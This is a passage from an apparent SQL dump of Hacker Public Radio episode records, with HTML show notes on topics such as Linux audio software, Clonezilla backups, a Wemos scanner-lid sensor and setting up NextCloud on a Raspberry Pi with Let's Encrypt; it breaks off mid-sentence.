\"<em>Porridge</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3533#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2022-02-16:\n\"interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3533#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2022-02-16:\n\"Steel Cut Oats\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3533#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-02-16:\n\"Great show topic, excellent show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3534#comments\" target=\"_blank\">hpr3534</a></strong>\n(2022-02-17) \"<em>Vernier caliper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3534#1\" target=\"_blank\">Comment 1</a>:\nAaronb on 2022-02-18:\n\"At 66 Years old. . . .\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3534#2\" target=\"_blank\">Comment 2</a>:\nAaronb on 2022-02-18:\n\"sorry forgot the Link\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3536#comments\" target=\"_blank\">hpr3536</a></strong>\n(2022-02-21) \"<em>Laptop power problems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3536#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-02-22:\n\"I have the Google GO pro chromebook, had the same problems\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3538#comments\" target=\"_blank\">hpr3538</a></strong>\n(2022-02-23) \"<em>Installing the Tenacity audio editor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3538#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-02-08:\n\"How to run it\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3538#2\" target=\"_blank\">Comment 2</a>:\nRandom_Linux_User on 2022-02-27:\n\"Re hpr3538 :: Installing the Tenacity audio editor\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3541#comments\" target=\"_blank\">hpr3541</a></strong>\n(2022-02-28) \"<em>The case of missing ideas.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3541#1\" target=\"_blank\">Comment 1</a>:\npublius on 2022-02-28:\n\"\"Have\" constructions\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-February/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 120 additional shows in the range 1-870 have been uploaded.</p>\n<p>The number of shows left to upload in this range is now: 4.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3234,'2020-12-24','Apple products I have owned',1397,'I talk about Apple products that I have owned over the years','<ul>\r\n<li>30\" Apple Cinema Display 2560x1600</li>\r\n<li>160 GB iPod Classic</li>\r\n<li>IPad 3</li>\r\n<li>Mac Pro 1.1</li>\r\n<li>iPhone 4s</li>\r\n</ul>',297,0,0,'CC-BY-SA','apple, technology, Mac, OS X,iOS',0,0,1),
(3242,'2021-01-05','The eternal battle over how to run your chromebook is about to begin',8865,'Squirrel VS ALIEN Chromebook discussions','<p>As usual, I have botched up the show notes where they make absolutely no sense and I fully expect the ENTIRE HUMAN COMMUNITY from HPR to attack me endlessly over my incompetence. They just keep forgetting that I\'m a squirrel who lives in a magical forrest and not a human being and therefore does terrible show notes,</p>\r\n<p>There were so many issues brought up about chromebooks and chromiumOS that I could not prepare a detailed list of them all.</p>\r\n<p>This ENTIRE conversation was derived from the work found on GNU WORLD ORDER episode 383 for which you will find his show notes AS::: <a href=\"https://gnuworldorder.info/\" class=\"uri\">https://gnuworldorder.info/</a> \"Linux, Flatpaks, Android apps, and ChromiumOS on a Lenovo Chromebook.\"</p>\r\n<p>Now, if you don\'t like my show notes and you do like this aliens show notes, then may I suggest your anti-squirrel and you need to be sent to a de-programming camp for rehabilitation.</p>\r\n<p>Remember, squirrels represent planet earth.</p>\r\n',377,0,1,'CC-BY-SA','chromebooks,chromiumOS,Opensource,Freesoftware,cloud computing',0,0,1),
(3236,'2020-12-28','The State of Linux Audio Apps in 2020',3101,'Patrick Davila and Claudio Miranda discuss the current state of Linux Audio Application in 2020','<p>Pat and Claudio discuss the current state of Linux audio applications in 2020. The primary focus is applications to create music. We discuss Linux sound servers (Pulse, ALSA and Jack). Software synthesizers available in Linux. Midi, sequencers and drum machines. Digital Audio Workstation applications. Impulse Responses for guitar and bass speaker emulation. Commercial vendors that support the Linux platform. Music equipment vendors that use Linux as the basis of their products.</p>\r\n\r\n<p>\r\n<br>\r\nThis page has been around for years.  Some links might be stale or dead.<br>\r\n<a href=\"https://linux-sound.org/\" target=\"_blank\">https://linux-sound.org/</a><br>\r\n<br>\r\nSome of the sound fonts I\'ve used:<br>\r\n<a href=\"https://midkar.com/soundfonts/\" target=\"_blank\">https://midkar.com/soundfonts/</a><br>\r\n<a href=\"https://www.pvv.org/~hammer\" target=\"_blank\">https://www.pvv.org/~hammer</a><br>\r\n<a href=\"https://www.michaelpichermusic.com/sample-libraries\" target=\"_blank\">https://www.michaelpichermusic.com/sample-libraries</a><br>\r\n<br>\r\nMIDI/Music software discussed:<br>\r\nJACK (JACK Audio Connection Kit)<br>\r\n<a href=\"https://jackaudio.org/\" target=\"_blank\">https://jackaudio.org/</a><br>\r\nQtractor<br>\r\n<a href=\"https://qtractor.sourceforge.io/\" target=\"_blank\">https://qtractor.sourceforge.io/</a><br>\r\nArdour<br>\r\n<a href=\"https://ardour.org/\" target=\"_blank\">https://ardour.org/</a><br>\r\nReaper<br>\r\n<a href=\"https://www.reaper.fm/index.php\" target=\"_blank\">https://www.reaper.fm/index.php</a><br>\r\nCarla<br>\r\n<a href=\"https://kx.studio/Applications:Carla\" target=\"_blank\">https://kx.studio/Applications:Carla</a><br>\r\nDuality Bass <br>\r\n<a href=\"https://audio-assault.com/duality.php\" target=\"_blank\">https://audio-assault.com/duality.php</a><br>\r\n<br>\r\nMy Soundcloud page.<br>\r\n<a href=\"https://www.soundcloud.com/claudiom72\" target=\"_blank\">https://www.soundcloud.com/claudiom72</a><br>\r\n<br>\r\nOpen source synthesizers:<br>\r\n<a href=\"https://www.moddevices.com/\" target=\"_blank\">https://www.moddevices.com/</a><br>\r\n<a href=\"https://www.linuxsynths.com/\" target=\"_blank\">https://www.linuxsynths.com/</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Korg_OASYS\" target=\"_blank\">https://en.wikipedia.org/wiki/Korg_OASYS</a> (Finally found that hardware Linux-based synth.)<br>\r\n<a href=\"https://synthesia.sourceforge.net/\" target=\"_blank\">https://synthesia.sourceforge.net/</a><br>\r\n<a href=\"https://zynthian.org/\" target=\"_blank\">https://zynthian.org/</a> (Don\'t remember if this was mentioned, but here it is. :-p)<br>\r\n<br>\r\nPipewire<br>\r\n<a href=\"https://pipewire.org/\" target=\"_blank\">https://pipewire.org/</a><br>\r\n<br>\r\nunfa<br>\r\n<a href=\"https://www.youtube.com/channel/UCAYKj_peyESIMDp5LtHlH2A\" target=\"_blank\">https://www.youtube.com/channel/UCAYKj_peyESIMDp5LtHlH2A</a>\r\n</p>',11,0,0,'CC-BY-SA','Audio, music, recording, DAW, Ardour, Jack, Pulse, ALSA, Hydrogen, Odin2, Qtractor, Carla, VST',0,0,1),
(3238,'2020-12-30','Linux Inlaws S01E20: The Xmas and New Year Special',5978,'An episode on the past, present and future not just on FOSS - all will be explained','<ul>\r\n<li>LinuxOne: <a href=\"https://developer.ibm.com/components/ibm-linuxone/gettingstarted\" target=\"_blank\">https://developer.ibm.com/components/ibm-linuxone/gettingstarted</a></li>\r\n<li>IBM quantum computing: <a href=\"https://www.ibm.com/quantum-computing\" target=\"_blank\">https://www.ibm.com/quantum-computing</a></li>\r\n<li>redis on LinuxOne(in German): <a href=\"https://chemnitzer.linux-tage.de/2019/en/programm/beitrag/206\" target=\"_blank\">https://chemnitzer.linux-tage.de/2019/en/programm/beitrag/206</a></li>\r\n<li>Ask IBM: <a href=\"https://www.ibm.com/blogs/cloud-computing/2015/01/13/hello-watson-ask-anything\" target=\"_blank\">https://www.ibm.com/blogs/cloud-computing/2015/01/13/hello-watson-ask-anything</a></li>\r\n<li>Jeff Bezo\'s real name: <a href=\"https://en.wikipedia.org/wiki/Jeff_Bezos\" target=\"_blank\">https://en.wikipedia.org/wiki/Jeff_Bezos</a></li>\r\n<li>Jeff Bezo\'s divorce: <a href=\"https://www.bloomberg.com/news/articles/2019-07-05/bezos-split-finalizes-as-38-billion-amazon-stake-transfer-looms\" target=\"_blank\">https://www.bloomberg.com/news/articles/2019-07-05/bezos-split-finalizes-as-38-billion-amazon-stake-transfer-looms</a></li>\r\n<li>French protests: <a href=\"https://www.politico.eu/article/spotlight-falls-on-amazon-as-french-businesses-are-restricted-by-lockdown-rules/\" target=\"_blank\">https://www.politico.eu/article/spotlight-falls-on-amazon-as-french-businesses-are-restricted-by-lockdown-rules/</a></li>\r\n<li>2001: A Space Odyssee: <a href=\"https://www.imdb.com/title/tt0062622\" target=\"_blank\">https://www.imdb.com/title/tt0062622</a></li>\r\n<li>OpenAI: <a href=\"https://openai.com\" target=\"_blank\">https://openai.com</a></li>\r\n<li>GPT3: <a href=\"https://en.wikipedia.org/wiki/GPT-3\" target=\"_blank\">https://en.wikipedia.org/wiki/GPT-3</a></li>\r\n<li>ARM Jazelle: <a href=\"https://en.wikipedia.org/wiki/Jazelle\" target=\"_blank\">https://en.wikipedia.org/wiki/Jazelle</a></li>\r\n<li>ARM ThumbEE: <a href=\"https://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_(ThumbEE)\" target=\"_blank\">https://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_(ThumbEE)</a></li>\r\n<li>TIOBE programming language index: <a href=\"https://www.tiobe.com/tiobe-index\" target=\"_blank\">https://www.tiobe.com/tiobe-index</a></li>\r\n<li>Commons Clause and Redis Source Available License: <a href=\"https://redislabs.com/blog/redis-labs-modules-license-changes\" target=\"_blank\">https://redislabs.com/blog/redis-labs-modules-license-changes</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','past, present, future, artificial intelligence, b-sides, ibm, microsoft, you fill in the rest',0,0,1),
(3237,'2020-12-29','Cloning a Hard Drive with Clonezilla',1057,'I had some hard drive failures recently and am getting back to the habit of cloning for backups.','<p>I sneak back into the HPR community with an episode about cloning the hard drive on my laptop for a backup after some recent catastrophic drive failures.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://clonezilla.org/\">Clonezilla</a>: The Free and Open Source Software for Disk Imaging and Cloning</li>\r\n	<li><a href=\"https://smile.amazon.com/s?k=hard+drive+adapter+cable+to+usb&crid=3MFREZT2Q9UY9&sprefix=hard+drive+ada%2Caps%2C198&ref=nb_sb_ss_ts-a-p_2_14\">Hard drive adapters at Amazon</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>Libre Art of Fugue</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://music.kimiko-piano.com/album/j-s-bach-the-art-of-the-fugue-kunst-der-fuge-bwv-1080</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','clonezilla, backups, hard drives, cloning',0,0,1),
(3244,'2021-01-07','Interview with Anco Scholte ter Horst CEO of Freedom Internet',4223,'Could there be an ISP that wants free and open internet, for privacy, security and quality ?','<p>\r\nIn this interview with Anco Scholte ter Horst, CEO Freedom Internet, we discuss the history of Internet in the Netherlands. How inspired by the work as XS4All, a new ISP was founded with privacy, security and quality at its core.\r\n</p>\r\n<p>\r\nFrom: <a href=\"https://en.wikipedia.org/wiki/XS4ALL\">https://en.wikipedia.org/wiki/XS4ALL</a>\r\n</p>\r\n<p>\r\nXS4ALL was sold to KPN in December 1998, but remained an independent subsidiary. In January 2019, KPN announced that it would eventually phase out the XS4ALL brand and continue operations under the KPN brand. A petition and a special action commission was started to try to revert this decision, the petition has been signed over 50,000 times, signatories include ex-board members and founders of XS4ALL. In November 2019 the committee launched a new company named Freedom Internet, meant to serve as an ideological successor to XS4ALL, and supported by a crowdfunding action that raised 2.5 million euro. Freedom Internet initially offers e-mail hosting, and is meant to roll out its first DSL connections in early 2020.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.linkedin.com/in/anco-scholte-ter-horst-5309171/\">https://www.linkedin.com/in/anco-scholte-ter-horst-5309171/</a></li>\r\n<li><a href=\"https://opennebula.io/\">https://opennebula.io/</a></li>\r\n<li><a href=\"https://internet.nl/\">https://internet.nl/</a></li>\r\n<li><a href=\"https://nl.wikipedia.org/wiki/Freedom_Internet\">https://nl.wikipedia.org/wiki/Freedom_Internet</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/XS4ALL\">https://en.wikipedia.org/wiki/XS4ALL</a></li>\r\n<li><a href=\"https://www.bit.nl/\">https://www.bit.nl/</a></li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','Freedom.nl,xs4all,ISP,crowdfunding',0,0,1),
(3275,'2021-02-19','D1 Mini Close Lid to Scan',430,'Use a Wemos to monitor if the lid is open or closed on a network scanner.','<h1 id=\"wemos-close-to-scan\">wemos-close-to-scan</h1>\r\n<p>Use a Wemos to monitor if the lid is open or closed on a network scanner.</p>\r\n<ul>\r\n<li><a href=\"https://github.com/kenfallon/wemos-close-to-scan\">https://github.com/kenfallon/wemos-close-to-scan</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3275\">https://hackerpublicradio.org/eps.php?id=3275</a></li>\r\n</ul>\r\n<h2 id=\"history\">History</h2>\r\n<p>In episode <a href=\"https://hackerpublicradio.org/eps.php?id=2430\">hpr2430 :: Scanning books</a>, I had a bash file trigger a network scan. This required two steps, one to close the lid and the next to press a key for <a href=\"scantoimage.bash\">scantoimage.bash</a> to trigger the next page of the scan.</p>\r\n<p>In the intervening time I looked at several solutions to improve this situation.</p>\r\n<p>The most obvious step was to put a magnetic switch on the scanner lid so that a device could detect the lid been closed.</p>\r\n<p>I tried a Raspberry PI but my scanner drivers are only available for Intel and not Arm. Then then accessing the pi using Remote GPIO, but it got very complex to setup and run.</p>\r\n<p>Inspired by <a href=\"https://hackerpublicradio.org/eps.php?id=3077\">hpr3077 :: Video conference Push to Talk</a> Hosted by DanNixon on 2020-05-19, I tried using an arduino talking over serial to a Intel Compute Stick. But that was very flakey.</p>\r\n<h2 id=\"hardware\">Hardware</h2>\r\n<p>Finally I settled on using a <a href=\"https://www.wemos.cc/en/latest/d1/d1_mini.html\">Clone of LOLIN D1 mini</a>, and some Reed Contacts.</p>\r\n<ul>\r\n<li><a href=\"https://www.amazon.co.uk/gp/product/B071S8MWTY\">Makerfire D1 Mini NodeMcu 4M Bytes Lua WIFI Development Board Base on ESP8266 ESP-12F N Compatible NodeMcu Arduino</a></li>\r\n<li><a href=\"https://www.digikey.com/en/products/detail/zf-electronics/MP201801/361987\">https://www.digikey.com/en/products/detail/zf-electronics/MP201801/361987</a></li>\r\n<li><a href=\"https://switches-sensors.zf.com/us/product/magnetic-position-sensor-mp2018/\">https://switches-sensors.zf.com/us/product/magnetic-position-sensor-mp2018/</a></li>\r\n<li><a href=\"https://www.conrad.nl/p/zf-mp201801-reedcontact-1x-no-175-vdc-175-vac-500-ma-10-w-276124\">ZF MP201801 Reedcontact 1x NO 175 V/DC, 175 V/AC 500 mA 10 W</a></li>\r\n<li><a href=\"https://www.conrad.nl/p/zf-as201801-bedienmagneet-voor-reedcontact-276116\">ZF AS201801 Bedienmagneet voor reedcontact</a><br /></li>\r\n</ul>\r\n<h2 id=\"wiring\">Wiring</h2>\r\n<p>Wire one end of the reed contact to 3.3v, and the other end to ground via a 10K resistor.</p>\r\n<p>Have a sensor wire go from the 10K resistor to pin D5 on the D1 Mini.</p>\r\n<p><img src=\"eps/hpr3275/circuitdiagram.png\" title=\"Circuit Diagram\" alt=\"circuitdiagram\" /></p>\r\n<p><img src=\"eps/hpr3275/breadboard.png\" title=\"Breadboard\" alt=\"breadboard\" /></p>\r\n<p><img src=\"eps/hpr3275/photo.png\" title=\"Photo\" alt=\"photo\" /></p>\r\n<h2 id=\"code\">Code</h2>\r\n<h3 id=\"d1-mini\">D1 Mini</h3>\r\n<p>See <a href=\"eps/hpr3275/wemos-close-to-scan.ino\">wemos-close-to-scan.ino</a></p>\r\n<h3 id=\"laptop\">Laptop</h3>\r\n<p>See <a href=\"eps/hpr3275/wemos-scantoimage.bash\">wemos-scantoimage.bash</a></p>\r\n<h1 id=\"operation\">Operation</h1>\r\n<ol>\r\n<li>Plug in D1 Mini and monitor the serial port to get its IP Address.</li>\r\n<li>Change the <code>server=\"YOUR-WEMOS-IP-ADDRESS\"</code> in <a href=\"eps/hpr3275/wemos-scantoimage.bash\">wemos-scantoimage.bash</a> to the ip address.</li>\r\n<li>Change the <code>image_path=\"/PATH/TO/YOUR/SCANS/\"</code> in <a href=\"eps/hpr3275/wemos-scantoimage.bash\">wemos-scantoimage.bash</a> to where your want the files saved.</li>\r\n<li>Close scanner and scan.</li>\r\n</ol>\r\n',30,57,0,'CC-BY-SA','Wemos, D1 Mini, network scan',0,0,1),
(3289,'2021-03-11','NextCloud the hard way',1933,'A private NextCloud instance on a Pi 4x8, with lets encrypt and wireguard vpn access','<h1 id=\"nextcloud\">NextCloud</h1>\r\n<p>I want to install NextCloud for my family, but <strong>only</strong> for my family. This means making things hard for myself by installing it behind my firewall with a private nat ipaddress. That presented problems with getting a valid <a href=\"https://letsencrypt.org/\">Let\'s encrypt</a> cert.</p>\r\n<p>It all now works, and thanks to timttmy I was able to get the WireGuard VPN installed and working.</p>\r\n<h2 id=\"pi-4\">Pi 4</h2>\r\n<p>Get a Pi, and a SSD, enable it. You should review <a href=\"https://jamesachambers.com/raspberry-pi-4-usb-boot-config-guide-for-ssd-flash-drives/\">Raspberry Pi 4 USB Boot Config Guide for SSD / Flash Drives</a>, for issues with SSD drives and the Raspberry Pi.</p>\r\n<p>You can install Raspbian as normal. I already covered this in <a href=\"https://hackerpublicradio.org/eps.php?id=2356\">hpr2356 :: Safely enabling ssh in the default Raspbian Image</a>, and <a href=\"https://github.com/kenfallon/fix-ssh-on-pi\">Safely enabling ssh in the default Raspberry Pi OS (previously called Raspbian) Image</a>.</p>\r\n<p>And then follow the instructions in <a href=\"https://www.tomshardware.com/how-to/boot-raspberry-pi-4-usb\">How to Boot Raspberry Pi 4 From a USB SSD or Flash Drive</a>.</p>\r\n<h2 id=\"next-cloud\">Next Cloud</h2>\r\n<p>Install Apache, MariaDB, and PHP</p>\r\n<ul>\r\n<li><a href=\"https://www.techrepublic.com/article/how-to-install-nextcloud-20-on-ubuntu-server-20-04/\">How to install Nextcloud 20 on Ubuntu Server 20.04</a></li>\r\n<li><a href=\"https://docs.nextcloud.com/server/20/admin_manual/installation/source_installation.html\">NextCloud - Installation and server configuration - Installation on Linux</a></li>\r\n<li><a href=\"https://nextcloud.com/install/#instructions-server\">Download NextCloud</a></li>\r\n</ul>\r\n<pre><code># diff /etc/apache2/apache2.conf /etc/apache2/apache2.conf.orig\r\n171,172c171,172\r\n&lt;       Options FollowSymLinks\r\n&lt;       AllowOverride All\r\n---\r\n&gt;       Options Indexes FollowSymLinks\r\n&gt;       AllowOverride None</code></pre>\r\n<h3 id=\"install-phpmyadmin\">Install PHPMyAdmin</h3>\r\n<ul>\r\n<li><a href=\"https://pimylifeup.com/raspberry-pi-phpmyadmin/\">How to Install PHPMyAdmin on the Raspberry Pi</a></li>\r\n</ul>\r\n<h3 id=\"required-changes-to-nextcloud-config.\">Required Changes to nextcloud config.</h3>\r\n<pre><code>root@nextcloud:~# diff /root/nextcloud-config.php.orig /var/www/html/nextcloud/config/config.php \r\n&gt;     1 =&gt; &#39;nextcloud&#39;,\r\n&gt;     2 =&gt; &#39;192.168.123.123&#39;,\r\n&gt;     3 =&gt; &#39;nextcloud.example.com&#39;,\r\n&gt;   &#39;memcache.local&#39; =&gt; &#39;\\OC\\Memcache\\APCu&#39;,</code></pre>\r\n<pre><code># diff /etc/apache2/sites-available/000-default.conf.orig /etc/apache2/sites-enabled/000-default.conf\r\n28a29,32\r\n&gt;         RewriteEngine On\r\n&gt;         RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]\r\n&gt;       Redirect 301 /.well-known/carddav /var/www/html/nextcloud/remote.php/dav\r\n&gt;       Redirect 301 /.well-known/caldav /var/www/html/nextcloud/remote.php/dav</code></pre>\r\n<h3 id=\"required-changes-to-php.ini-config.\">Required Changes to <code>php.ini</code> config.</h3>\r\n<pre><code>root@nextcloud:~# diff /etc/php/7.3/apache2/php.ini.orig /etc/php/7.3/apache2/php.ini\r\n401c401\r\n&lt; memory_limit = 128M\r\n---\r\n&gt; memory_limit = 2000M\r\n689c689\r\n&lt; post_max_size = 8M\r\n---\r\n&gt; post_max_size = 2048M\r\n841c841\r\n&lt; upload_max_filesize = 2M\r\n---\r\n&gt; upload_max_filesize = 2048M</code></pre>\r\n<h3 id=\"upgrade\">Upgrade</h3>\r\n<p>You can upgrade using the procedure described by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a> in <a href=\"https://hackerpublicradio.org/eps.php?id=3232\">hpr3232 :: Nextcloud</a>, or as admin via the UI <code>https://nextcloud.example.com/nextcloud/index.php/settings/user</code>, Administration, Overview.</p>\r\n<p>You will see a lot of <a href=\"https://docs.nextcloud.com/server/12/admin_manual/configuration_server/security_setup_warnings.html\">Warnings on Admin Page</a>, but don\'t panic. The server is not accessible on the Internet after all.</p>\r\n<p>The errors have links to how you can fix them and some are very easy to do.</p>\r\n<p>I got an error \"Error occurred while checking server setup\". I used this <a href=\"https://help.nextcloud.com/t/solved-12-0-2-to-12-0-3-update-failes-at-create-backup/21490\">tip</a> to move root owned files out of next cloud dir.</p>\r\n<p>For me it was mostly about enabling caching via <a href=\"https://docs.nextcloud.com/server/12/admin_manual/configuration_server/caching_configuration.html#id1\">APCU</a>, and enabling <a href=\"https://docs.nextcloud.com/server/12/admin_manual/configuration_server/security_setup_warnings.html#you-are-accessing-this-site-via-http\">You are accessing this site via HTTP</a>.</p>\r\n<p>The first is fixed in the <code>nextcloud/config/config.php</code> page, the next is fixed by installing a valid SSL cert from Let\'s Encrypt.</p>\r\n<h2 id=\"ssl-lets-encrypt\">SSL Let\'s Encrypt</h2>\r\n<p>Based on the following article I installed it manually.</p>\r\n<p><a href=\"https://code.luasoftware.com/tutorials/lets-encrypt/obtain-lets-encrypt-ssl-using-manual-dns-verification/\">Obtain Let\'s Encrypt SSL Certificate Using Manual DNS Verification</a></p>\r\n<h3 id=\"install-certbot\">Install certbot</h3>\r\n<pre><code># apt install certbot</code></pre>\r\n<p>Then run the script manually specifying that the challenge should be over dns.</p>\r\n<pre><code># certbot certonly --manual --preferred-challenges dns \r\nSaving debug log to /var/log/letsencrypt/letsencrypt.log\r\nPlugins selected: Authenticator manual, Installer None\r\nEnter email address (used for urgent renewal and security notices) (Enter &#39;c&#39; to\r\ncancel): letsencrypt@example.com\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nPlease read the Terms of Service at\r\nhttps://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must\r\nagree in order to register with the ACME server at\r\nhttps://acme-v02.api.letsencrypt.org/directory\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(A)gree/(C)ancel: A\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nWould you be willing to share your email address with the Electronic Frontier\r\nFoundation, a founding partner of the Let&#39;s Encrypt project and the non-profit\r\norganization that develops Certbot? We&#39;d like to send you email about our work\r\nencrypting the web, EFF news, campaigns, and ways to support digital freedom.\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(Y)es/(N)o: n\r\nPlease enter in your domain name(s) (comma and/or space separated)  (Enter &#39;c&#39;\r\nto cancel): nextcloud.example.com\r\nObtaining a new certificate\r\nPerforming the following challenges:\r\ndns-01 challenge for nextcloud.example.com\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nNOTE: The IP of this machine will be publicly logged as having requested this\r\ncertificate. If you&#39;re running certbot in manual mode on a machine that is not\r\nyour server, please ensure you&#39;re okay with that.\r\n\r\nAre you OK with your IP being logged?\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(Y)es/(N)o: y\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nPlease deploy a DNS TXT record under the name\r\n_acme-challenge.nextcloud.example.com with the following value:\r\n\r\n0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi\r\n\r\nBefore continuing, verify the record is deployed.\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nPress Enter to Continue</code></pre>\r\n<p>It was at this point I went to my hosting companys page and created a subdomain called <code>nextcloud</code>. Then I added a <code>TXT</code> record called <code>_acme-challenge</code> with the text <code>0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi</code>.</p>\r\n<p>In order to verify that we use the command:</p>\r\n<pre><code># apt-get install -y dnsutils\r\n\r\n$ dig -t TXT _acme-challenge.nextcloud.example.com\r\n\r\n; &lt;&lt;&gt;&gt; DiG 9.11.5-P4-5.1+deb10u2-Debian &lt;&lt;&gt;&gt; -t TXT _acme-challenge.nextcloud.example.com\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39298\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;_acme-challenge.nextcloud.example.com. IN TXT\r\n\r\n;; ANSWER SECTION:\r\n_acme-challenge.nextcloud.example.com. 3600 IN TXT &quot;0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi&quot;\r\n\r\n;; Query time: 7 msec\r\n;; SERVER: 178.21.112.12#53(178.21.112.12)\r\n;; WHEN: Thu Dec 10 16:27:53 CET 2020\r\n;; MSG SIZE  rcvd: 121\r\n</code></pre>\r\n<p>Now that the answer section is correct we can continue with the <code>certbot</code> script.</p>\r\n<pre><code>Waiting for verification...\r\nCleaning up challenges\r\n\r\nIMPORTANT NOTES:\r\n - Congratulations! Your certificate and chain have been saved at:\r\n   /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\r\n   Your key file has been saved at:\r\n   /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\r\n   Your cert will expire on 2021-03-10. To obtain a new or tweaked\r\n   version of this certificate in the future, simply run certbot\r\n   again. To non-interactively renew *all* of your certificates, run\r\n   &quot;certbot renew&quot;\r\n - If you like Certbot, please consider supporting our work by:\r\n\r\n   Donating to ISRG / Let&#39;s Encrypt:   https://letsencrypt.org/donate\r\n   Donating to EFF:                    https://eff.org/donate-le</code></pre>\r\n<h3 id=\"renew\">Renew</h3>\r\n<p>Unfortunately the renew is not automatic. <a href=\"https://webmasters.stackexchange.com/questions/116316/could-not-renew-letsencrypt-certificate-error-the-manual-plugin-is-not-working\">\"You don\'t have to renew Certificate with\"renew\" option. You have to run the same command you ran for Certificate creation.\"</a></p>\r\n<p>So I just set up a 3 monthly recurring reminder in 